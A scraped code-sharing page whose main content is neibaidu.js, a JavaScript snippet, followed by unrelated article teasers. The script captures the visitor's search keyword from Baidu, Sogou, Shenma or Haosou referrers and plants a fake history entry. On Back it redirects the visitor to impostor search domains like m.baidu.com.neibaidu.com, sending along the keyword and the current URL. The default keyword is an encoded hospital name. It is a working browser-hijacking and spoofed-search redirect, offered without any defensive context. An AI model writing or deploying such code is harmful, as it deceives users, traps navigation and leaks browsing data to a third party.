neibaidu.js

var topdomain = getRealDomain(window.location.host), reftopdomain = getRealDomain(document.referrer), domains = ‘|xxxx.com|xxx.com|‘, customurl = ‘‘, baidutime = ‘1‘, smtime = ‘1‘, sogoutime = ‘1‘, haosotime = ‘1‘, url = document.referrer, localUrl = window.location.href, wd = ‘‘, baidu = ‘word‘, sougou = ‘keyword‘, s360 = ‘q‘, isopen = 0, zhisouurl = ‘‘;
if (domains.indexOf(topdomain + ‘|‘) > 0) isopen = 1;
if (domains.indexOf(reftopdomain) < 0 && url.length > 0) {
    var strs = new Array();
    url = decodeURIComponent(url);
    strs = url.split(" ? ");
    if (url.indexOf(‘baidu.com‘) != -1) {
        wd = getbaiduKey(url)
    } else if (url.indexOf(‘sm.cn‘) != -1) {
        wd = getKey(url, s360)
    } else if (url.indexOf(‘haosou‘) != -1) {
        wd = getKey(url, s360)
    } else if (url.indexOf(‘sogou‘) != -1) {
        wd = getKey(url, sougou)
    }
}
if (wd == ‘‘ || wd == undefined) wd = ‘%e5%8c%97%e4%ba%ac%e5%8d%9a%e5%a4%a7%e7%94%b7%e7%a7%91%e5%8c%bb%e9%99%a2‘;
if (isopen == 1 && (neibaidustime() == 1 || neibaiduotherstime() == 1)) {
    history.pushState({
        seoxinbaidu: 1},"280 ", location.href + "#seoxinbaidu ")
}
window.onpopstate = function(event) {
    a = location.hash;
    if (a.indexOf("#seoxinbaidu ") >= 0) {} else if (isopen == 1 && (neibaidustime() == 1 || neibaiduotherstime() == 1)) {
        if (customurl == "") {
            if (url.indexOf(‘sm.cn‘) >= 0 || url.indexOf(‘uodoo‘) >= 0 || localUrl.indexOf(‘sp.sm.cn‘) >= 0 || localUrl.indexOf(‘uodoo‘) >= 0) {
                if (smtime == 1) {
                    if (neibaiduotherstime() == 1) {
                        location.href = ‘http://m.sm.cn.neibaidu.com/p/?q=‘ + wd + ‘&fid=280‘ + ‘&query=‘ + encodeURIComponent(localUrl)
                    } else {
                        history.go( - 1)
                    }
                }
            } else if (url.indexOf(‘m.haosou‘) >= 0 || localUrl.indexOf(‘haosou‘) >= 0) {
                if (haosotime == 1) {
                    if (neibaiduotherstime() == 1) {
                        location.href = ‘http://m.haosou.com.neibaidu.com/p/?q=‘ + wd + ‘&fid=280‘ + ‘&query=‘ + encodeURIComponent(localUrl)
                    } else {
                        history.go( - 1)
                    }
                }
            } else if (url.indexOf(‘sogou‘) >= 0 || localUrl.indexOf(‘sogou‘) >= 0 || (navigator.userAgent.indexOf("SogouMobileBrowser ") > -1 || navigator.userAgent.indexOf("SogouSearch ") > -1 || navigator.userAgent.indexOf("XiaoMi ") > -1)) {
                if (sogoutime == 1) {
                    if (neibaiduotherstime() == 1) {
                        location.href = ‘http://m.sogou.com.neibaidu.com/p/?keyword=‘ + wd + ‘&fid=280‘ + ‘&query=‘ + encodeURIComponent(localUrl)
                    } else {
                        history.go( - 1)
                    }
                }
            } else {
                if (baidutime == 1) {
                    if (neibaidustime() == 1) {
                        if (zhisouurl == ‘‘) zhisouurl = ‘http://m.baidu.com.neibaidu.com/p/?word=‘ + wd + ‘&fid=280‘ + ‘&query=‘ + encodeURIComponent(localUrl);
                        else {
                            zhisouurl = zhisouurl.replace(/\[key\]/g, wd);
                            zhisouurl = zhisouurl.replace(/\[formurl\]/g, encodeURIComponent(localUrl))
                        }
                        location.href = zhisouurl
                    } else {
                        history.go( - 1)
                    }
                }
            }
        }
    }
};
function getCookie0001(objName) {
    var arrStr = document.cookie.split(";");
    for (var i = 0; i < arrStr.length; i++) {
        var temp = arrStr[i].split(" = ");
        if (temp[0] == objName) return temp[1]
    }
}
function GetRandomNum(Min, Max) {
    var Range = Max - Min;
    var Rand = Math.random();
    return (Min + Math.round(Rand * Range))
}
function neibaidustime() {
    var opentime = ‘‘;
    if (opentime != ‘‘) {
        opentime = ‘,,‘ + opentime;
        var myDate = new Date();
        var h = String(myDate.getHours());
        if (h.length < 2) h = ‘0‘ + h;
        if (opentime.indexOf(‘,‘ + h) > 0) return 1;
        else return 0
    } else return 1
}
function neibaiduotherstime() {
    var opentime = ‘‘;
    if (opentime != ‘‘) {
        opentime = ‘,,‘ + opentime;
        var myDate = new Date();
        var h = String(myDate.getHours());
        if (h.length < 2) h = ‘0‘ + h;
        if (opentime.indexOf(‘,‘ + h) > 0) return 1;
        else return 0
    } else return 1
}
function getRealDomain(domains) {
    var redomain = ‘‘;
    var domainArray = new Array(‘com‘, ‘net‘, ‘org‘, ‘gov‘, ‘edu‘, ‘com.cn‘, ‘cn‘, ‘biz‘, ‘info‘, ‘pro‘, ‘name‘, ‘museum‘, ‘coop‘, ‘aero‘, ‘xxx‘, ‘idv‘, ‘mobi‘, ‘cc‘, ‘me‘);
    var domains_array = domains.split(‘.‘);
    var domain_count = domains_array.length - 1;
    var flag = false;
    if (domains_array[domain_count] == ‘cn‘) {
        for (i = 0; i < domainArray.length; i++) {
            if (domains_array[domain_count - 1] == domainArray[i]) {
                flag = true;
                break
            }
        }
        if (flag == true) {
            redomain = domains_array[domain_count - 2] + "." + domains_array[domain_count - 1] + "." + domains_array[domain_count]
        } else {
            redomain = domains_array[domain_count - 1] + "." + domains_array[domain_count]
        }
    } else {
        redomain = domains_array[domain_count - 1] + "." + domains_array[domain_count]
    }
    return redomain
}
function getKey(url, wdpre) {
    var K = ‘‘;
    if (url.indexOf(wdpre) != -1) {
        K = Key(url + ‘&‘, wdpre + ‘=‘, ‘&‘)
    } else {
        K = ‘‘
    }
    K = K == null ? ‘‘: K;
    return K == ‘‘ ? K: encodeURIComponent(K)
}
function getbaiduKey(url) {
    var K = ‘‘;
    if (url.indexOf(‘baidu.com‘) != -1) {
        if (url.indexOf(‘word‘) != -1) {
            K = Key(url + ‘&‘, ‘word=‘, ‘&‘)
        } else if (url.indexOf(‘w=0_10_‘) != -1 && url.indexOf(‘/t=‘) != -1) {
            K = Key(url, ‘w=0_10_‘, ‘/t=‘)
        } else {
            K = ‘‘
        }
        K = K == null ? ‘‘: K;
        return K == ‘‘ ? K: encodeURIComponent(K)
    }
}
function Key(url, cs, endstr) {
    var start = url.indexOf(cs);
    url = url.slice(start + cs.length);
    var end = url.indexOf(endstr);
    var key = url.slice(url, end);
    return key
}
function nbdcheckcookie() {
    nbdSetCookie(‘cookie_test‘, ‘1‘);
    var cookie_test = nbdgetCookie(‘cookie_test‘);
    if (‘1‘ != cookie_test) {
        return 0
    } else {
        return 1
    }
}
function nbdSetCookie(name, value) {
    var Days = 30;
    var exp = new Date();
    exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
    document.cookie = name + " = " + escape(value) + "; expires = " + exp.toGMTString()
}
function nbdgetCookie(name) {
    var arr = document.cookie.match(new RegExp(" ( ^ |)" + name + " = ([ ^ ;] * )(; | $)"));
    if (arr != null) return unescape(arr[2]);
    return null
}
function nbddelCookie(name) {
    var exp = new Date();
    exp.setTime(exp.getTime() - 1);
    var cval = getCookie(name);
    if (cval != null) document.cookie = name + " = " + cval + "; expires = " + exp.toGMTString()
}
时间: 2024-12-24 03:53:53

neibaidu.js的相关文章

【API】高德地图API JS实现获取坐标和回显点标记

1.搜索+选择+获取经纬度和详细地址 2.回显数据并点标记 3.实现 第一步:引入资源文件 <!--引入高德地图JSAPI --><script src="//webapi.amap.com/maps?v=1.3&key=在官网申请一个key"></script><!--引入UI组件库(1.0版本) --><script src="//webapi.amap.com/ui/1.0/main.js">

js跨域

第一次写博客,好紧张,不知道能写成啥样,哈哈哈. 自己的一知片解,有错请多多指教,嘻嘻嘻. 一.何为跨域? 只要协议.域名.端口后任何一个不同,就是跨域. 举个例子: http://www.example.com 协议不同 https://www.example.com http://www.example.com 域名不同 http://www.test.com http://www.example.com 端口不同 http://www.example.com:81 注意:ip相同,域名不同

Vue.js学习笔记:属性绑定 v-bind

v-bind  主要用于属性绑定,Vue官方提供了一个简写方式 :bind,例如: <!-- 完整语法 --> <a v-bind:href="url"></a> <!-- 缩写 --> <a :href="url"></a> 绑定HTML Class 一.对象语法: 我们可以给v-bind:class 一个对象,以动态地切换class.注意:v-bind:class指令可以与普通的class特

node.js的安装及配置

一.安装 直接在浏览器搜索node.js,在官网上下载(一般旧版的更加稳定,比如下载4.4.7版本) 点击DOWNLOADS 往下翻,点击Previous Release Windows下载msi(64位/32位) 根据提示一步步安装,安装之后的文件夹如下: 在cmd命令行下输入node -v,如果出现如下,说明安装成功: 二.关于配置 在安装路径下新建两个文件夹: 创建完两个空文件夹之后,打开cmd命令窗口,输入 npm config set prefix "D:\Program Files

Node.js 使用angularjs取得Nodejs http服务端返回的JSON数组示例

server.js代码: // 内置http模块,提供了http服务器和客户端功能(path模块也是内置模块,而mime是附加模块) var http=require("http"); // 创建服务器,创建HTTP服务器要调用http.createServer()函数,它只有一个参数,是个回调函数,服务器每次收到http请求后都会调用这个回调函数.服务器每收到一条http请求,都会用新的request和response对象触发请求函数. var server=http.createS

Knockout.js简介

Knockout是一款很优秀的JavaScript库,通过应用MVVM模式使JavaScript前端UI简单化.任何时候你的局部UI内容需要自动更新,KO都可以很简单的帮你实现,并且非常易于维护. Knockout的3个核心功能是: ? 属性监控与依赖跟踪 ? 声明式绑定 ? 模板机制 MVVM Model-View-View Model (MVVM)是一种创建用户界面的设计模式. ? Model:用于存储应用程序数据,表示业务领域的对象和数据操作,并且独立于任何界面. 当使用KO的时候,通常是

vue.js 入门

简单一句话来描述:vue.js是一个前端框架. 官方文档:https://cn.vuejs.org/v2/guide/index.html 虽然,我以前也会改一些前端样式,但主要是基于HTML和CSS,HTML主要控制页面的结构,CSS主要来控制样式.涉及到JavaScript就比较小白了. 我花了一个下午照着官方文档做练习,当然是只创建一个xxx_demo.html文件,在<script></script> 标签对之间写 Vue.js语法.这不算错,但在工程化的今天,这么学得猴年

JS高程3:JSON

JSON,JavaScript Object Notation,JS对象表示法,是目前最常见的结构化数据传输形式. JSON并非编程语言,而是一种数据结构,像mp4.avi一样,只是一种数据格式而已.(数据结构可以包含很多数据类型) JSON值的类型 简单值 对象 数组 简单值:字符串.数字.布尔值和null,注意不包括undefined. 注意:JSON中的字符串必须用双引号. 对象:对象就是无序的键值对,而键值中的值也可以是简单值.对象或者数组. 注意:JSON中对象的属性必须用双引号括起来

js装饰器

本文是廖雪峰老师js教程的学习笔记 JavaScript的所有对象都是动态的,即使内置的函数,我们也可以重新指向新的函数. 利用apply(),我们还可以动态改变函数的行为. 现在假定我们想统计一下代码一共调用了多少次parseInt(),可以把所有的调用都找出来,然后手动加上count += 1,不过这样做太傻了.最佳方案是用我们自己的函数替换掉默认的parseInt(): var count = 0; var oldParseInt = parseInt; // 保存原函数 window.p